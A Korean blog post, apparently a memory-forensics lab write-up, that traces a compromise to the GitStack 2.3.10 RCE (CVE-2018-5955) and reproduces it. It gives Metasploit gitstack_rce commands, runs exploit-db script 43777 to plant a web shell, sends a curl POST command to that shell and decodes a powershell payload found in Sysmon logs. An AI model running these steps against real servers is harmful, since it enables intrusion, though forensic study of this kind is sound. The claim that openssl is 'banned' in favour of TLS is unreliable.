메모리 포렌식 Challenge 7 gitstack 취약점 분석
vol.exe -f 7.raw imageinfo
먼저 뒤에옵션을 붙여야하는지 알아보자
window7 이니까 붙여야합니다
vol.exe -f 7.raw --profile=Win7SP1x86 pstree
mimikatz.exe 는 당연한 크랙이므로 아니까 추출할필요까지는없다
▲ 프로세스 기초 분석
- pstree에서 explore-httpd-cmd-openssl 이 의심된다.
openssl 은 암호화 통신을 위한 것인데
지금은 사용하면안되고 tls를 사용해야합니다,
openssl은 별도로 사용금지된지가 꽤 됬습니다.
근데별도로 커맨드창을 띄워서 openssl을 실행했습니다.
그래서 의심이가고
암호화 통신을 위장한 악성코드라고 추측을 해볼수가있습니다
vol.exe -f 7.raw --profile=Win7SP1x86 userassist > 7777.txt
openssl을 찾아보니까 사용자가 실행했던 결과는 없었고
strings.exe 7.raw > 123123.txt
문자열들을 전부 txt파일로 끄집어 냅니다
sublinetxt에서 열어보고
openssl을 찾아보게되면 파워 쉘도 실행했고
▲ openssl.exe 분석
- 이미지를 txt로 변환 후 openssl.exe를 검색하면 gitstack 에서 실행되는 것으로 보아,
gitstack과 관련된 취약점이 있는것으로 추측 가능
- gitstack을 검색하면 2.3.10 버전에 원격코드 취약점이 있는것을 확인
.mimikatz.exe 악성 크랙도
찾아보게되면
gitstack에서 실행이된다는 것을 알 수가 있습니다.
gitstack 으로 여러가지가 실행되고
gitstack 버전은 2.3이였고
cve-2018-5955 번호의 취약점 번호를 가진
원격 취약점이 있었습니다.
===============================
gistack 취약점이용해 meterpreter권한 얻기
설치를 한뒤에
▲ gitstack 취약점 재현
- 윈도우7에 gitstack 2.3.10 설치 후 관리자 로그인
칼리리눅스에서
msfconsole
search gitstack
use exploit/windows/http/gitstack_rce
show options
set RHOSTS 192.168.1.66 (윈도우7 IP)
exploit
meterpreter 권한 획득에 성공햇습니다.
ifconfig를 쳤을때 윈도우7ip가 잘나오게 됬고
===============================
python 코드를 이용한 공격
www.exploit-db.com/exploits/43777
exploit 코드를 다운받고 ip를 윈도우로 바꿔줍니다
이파일을 윈도우 ip로 바꿔준뒤
칼리리눅스로 가져간다.
참고로 python2.7이 있어야한다.
이것의 command 를 ifconfig로 바꾸게되면
ifconfig쳣을때의 명령어들이나오고
dir을 넣어서 실행을해봅니다
오류났을떄
(python -m pip install requests)
python 43777.py
파이썬을 이용해 이파일을 실행시키니
결과물이나왓습니다.
- exploitdb에서 gitstack 관련 공격 코드(php)를 칼리리눅스에 다운로드, IP변경 후 실행
python 43777.py(requests 오류시 : pip2 install requests
(python -m pip install requests) )
- 파이썬 코드를 실행하면 윈도우7 서버의 gitphp 폴더에 exploit.php 가 생긴다.
a 변수에 시스템 명령어를 받아서 그대로 실행시키는 파일이다.
- 파이썬 코드에서 whoami를 다른 명령어(dir, ipconfig 등)으로 바꿔서 재실행 하거나,
curl -d 'a=dir' -X POST http://192.168.55.64/web/exploit.php 로
원격으로 시스템 명령을 수행할 수 있다.
docs.microsoft.com/en-us/sysinternals/downloads/sysmon
이곳에서 sysmon을 다운받고
윈도우+r
eventvwr.msc
자이제 침해사고를 당한 곳에서 진행을 해야합니다.
내가공격한 (window7에서)
sysmonoperational.evtx
windows->system32 ->winvet ->logs
sysmon.exe -i -l -n -accepteula
▲ sysmon 분석
- sysmon은 시스템 이벤트 로그를 기록하는 프로세스로, 로그는 evtx 확장자에 저장된다.
따라서 sysmonoperational.evtx 을 추출하여 이벤트 뷰어로 연다.
- 로그를 보면 파이썬 코드를 통해 시스템 명령어를 수행한 기록을 확인
▲ sysmon 분석 - powershell로 실행한 코드 복호화
- 이벤트 로그에 보면 powershell로 실행한 코드가 base64로 인코딩 되어 있다.(aQBm~)
- aQBm -> base64 decoding -> GzipStream, Frombase64String 확인 가능
- 따라서 Frombase64String("") 함수의 문자열을 다시 base64로 디코딩 하면서,
출력형태를 hex형태로 출력한다. 왜냐하면 .gz는 실행파일 이므로, hex형태로
저장되기 때문임(base64.guru/converter/decode/hex)
- 출력결과를 hxd를 이용하여 gz확장자로 저장(시그니처 : 1F 8B 08)
- gz 파일의 압축을 해제하면 다시 base64로 인코딩된 코드가 나온다. 이 부분을
다시 hex 출력형태로 decoding 하고 hxd를 이용하여 저장
- virustotal에 업로드 하면 powershell에서 사용하는 코드임을 확인
'악성코드 및 포렌식' 카테고리의 다른 글
메모리 포렌식 CTF 1 (0) | 2021.01.28 |
---|---|
메모리 포렌식 Challenge 8,9 (0) | 2021.01.28 |
메모리 포렌식 Challenge 6 , metasploit (0) | 2021.01.27 |
메모리 포렌식 Challenge 5 (0) | 2021.01.27 |
메모리 포렌식 Challenge 4 (0) | 2021.01.26 |